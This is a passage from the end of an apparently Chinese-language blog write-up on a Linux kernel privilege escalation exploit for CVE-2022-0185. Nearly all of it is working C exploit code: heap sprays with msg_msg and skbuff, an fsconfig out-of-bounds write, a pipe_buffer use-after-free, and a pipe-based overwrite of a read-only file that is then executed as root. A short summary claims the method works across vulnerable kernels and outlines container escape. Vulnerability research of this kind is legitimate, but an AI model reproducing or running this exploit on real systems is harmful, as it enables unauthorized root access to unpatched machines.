msg->m_type = MTYPE_A;
msg->m_ts = 0x233;
msg->security = 0;
spray_skbuff_data(skb, sizeof(skb));
}
int create_uaf(int fsid)
{
char buff[0x100];
int target_idx = -1;
logdebug("--- create_uaf ---");
prepare_overflow(fsid);
logdebug("spraying messasge queue 1...");
for (int i = 0; i < NUM_MSQIDS_1; i++)
{
msg_a->mtype = MTYPE_A;
memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);
((int *)&msg_a->mtext)[0] = MSG_TAG;
((int *)&msg_a->mtext)[1] = i;
if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)
die("msgsnd() error");
}
logdebug("trigger oob write in `legacy_parse_param` to corrupt messageA's "
"msg_msg.m_ts");
memset(buff, 0, sizeof(buff));
struct msg_msg *msg = (struct msg_msg *)buff;
msg->m_list.next = kmalloc_1024 + sizeof(struct msg_msg);
msg->m_list.prev = 0xdeadbeefdeadbeef;
msg->m_type = MTYPE_A; // append '=\x00'
fsconfig(fsid, FSCONFIG_SET_STRING, buff, "\x00", 0);
logdebug("searching corrupted msg_msg for freeing fake msg_msg...");
fake_msqid = -1;
for (int i = 0; i < NUM_MSQIDS_1; i++)
{
size_t n = msgrcv(msqid_1[i], msg_a, 0x100, 2, MSG_COPY | IPC_NOWAIT);
if (n < 0)
continue;
if (n == 0x100 && msg_a->mtype == MTYPE_FAKE)
{
fake_msqid = msqid_1[i];
if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
die("msgget() error");
loginfo("fake_msqid = %d", fake_msqid);
break;
}
}
if (fake_msqid < 0)
{
clean_msg_1();
return 0;
}
clean_msg_1();
return 1;
}
void pipe_primitive()
{
char buff[0x400];
logdebug("open target file %s", ATTACK_FILE);
if ((tfd = open(ATTACK_FILE, O_RDONLY)) < 0)
die("failed to open target file");
logdebug("freeing fake msg_msg...");
if (msgrcv(fake_msqid, msg_a, 0x100, MTYPE_FAKE, 0) < 0)
die("msgrcv() error");
logdebug("spraying pipe_buffer...");
for (int i = 0; i < NUM_PIPEFDS; i++)
{
if (pipe(pipe_fd[i]))
{
die("Alloc pipe failed");
}
write(pipe_fd[i][1], buff, 0x100 + i);
loff_t offset = 1;
ssize_t nbytes = splice(tfd, &offset, pipe_fd[i][1], NULL, 1, 0);
if (nbytes < 0)
{
die("splice() failed");
}
}
logdebug("free skbuff_data to make pipe_buffer become UAF");
int uaf_pipe_idx = -1;
char backup_skb[sizeof(skb)];
int PIPE_BUF_FLAG_CAN_MERGE = 0x10;
memset(skb, 0, sizeof(skb));
for (int i = 0; i < NUM_SOCKETS; i++)
{
for (int j = 0; j < NUM_SKBUFFS; j++)
{
if (read(sock_pairs[i][1], skb, sizeof(skb)) < 0)
{
die("read from sock pairs failed");
}
struct pipe_buffer *pb = (struct pipe_buffer *)skb;
if (pb->len >= 0x100 && pb->len < 0x100 + NUM_PIPEFDS)
{
uaf_pipe_idx = pb->len - 0x100;
loginfo("uaf_pipe_idx = %d", uaf_pipe_idx);
memcpy(backup_skb, skb, sizeof(skb));
}
}
}
if (uaf_pipe_idx < 0)
die("uaf_pipe_idx not found");
logdebug("edit pipe_buffer->flags");
struct pipe_buffer *pb = (struct pipe_buffer *)backup_skb;
pb[1].len = 0;
pb[1].offset = 0;
pb[1].flags = PIPE_BUF_FLAG_CAN_MERGE;
pb[1].ops = pb[0].ops;
spray_skbuff_data(backup_skb, sizeof(backup_skb));
logdebug("try to overwrite %s, by pipe fd %d", ATTACK_FILE,
pipe_fd[uaf_pipe_idx][1]);
if (write(pipe_fd[uaf_pipe_idx][1], attack_data, sizeof(attack_data)) !=
sizeof(attack_data))
die("write");
logdebug("see if %s changed", ATTACK_FILE);
close(tfd);
tfd = open(ATTACK_FILE, O_RDONLY);
if (tfd < 0)
{
die("open attack file");
}
char tmp_buffer[0x10];
read(tfd, tmp_buffer, 0x10);
uint32_t *ptr = (uint32_t *)(tmp_buffer + 9);
if (ptr[0] != 0x56565656)
{
die("overwrite attack file failed: 0x%08x", ptr[0]);
}
}
int main(int argc, char const *argv[])
{
int fsid;
int pid;
if (pipe(notify_pipe) < 0)
die("pipe() error");
if ((pid = fork()) == 0)
{
init_unshare();
bind_cpu();
init_sock();
init_msg();
fsid = call_fsopen();
while (!do_leak_heap(fsid))
{
close(fsid);
fsid = call_fsopen();
logdebug("retry do_leak_heap()");
}
fake_msg_msg_at_kmalloc_1024();
close(fsid);
fsid = call_fsopen();
while (!create_uaf(fsid))
{
close(fsid);
fsid = call_fsopen();
logdebug("retry create_uaf()");
}
pipe_primitive();
loginfo("exploit success!");
write(notify_pipe[1], "Y", 1);
pause();
}
else if (pid > 0)
{
char sync;
read(notify_pipe[0], &sync, 1);
if (sync == 'Y')
execl(ATTACK_FILE, ATTACK_FILE, NULL);
}
else
{
die("fork() error");
}
return 0;
}
总结
经过 CVE-2021-22555 和本文的 CVE-2022-0185,对于这种能转化为 kmalloc-1024 的 UAF 的漏洞,本地提权的利用方式都很简单,只要 skb 修改 pipe_buffer 做 pipe primitive 就好了,而且 pipe primitive 不用 bypass kaslr,几乎一个 exp 就能通杀含有漏洞的 linux 各个版本,非常好用
但是对于 google kctf 或者其他容器环境下,利用漏洞逃逸容器就不能用这种方式了,需要用 skb 劫持 pipe_buffer ops 进行 ROP 提权后执行 switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
来获得 root namespace 的 root 权限
参考
[2] https://www.hackthebox.com/blog/CVE-2022-0185:_A_case_study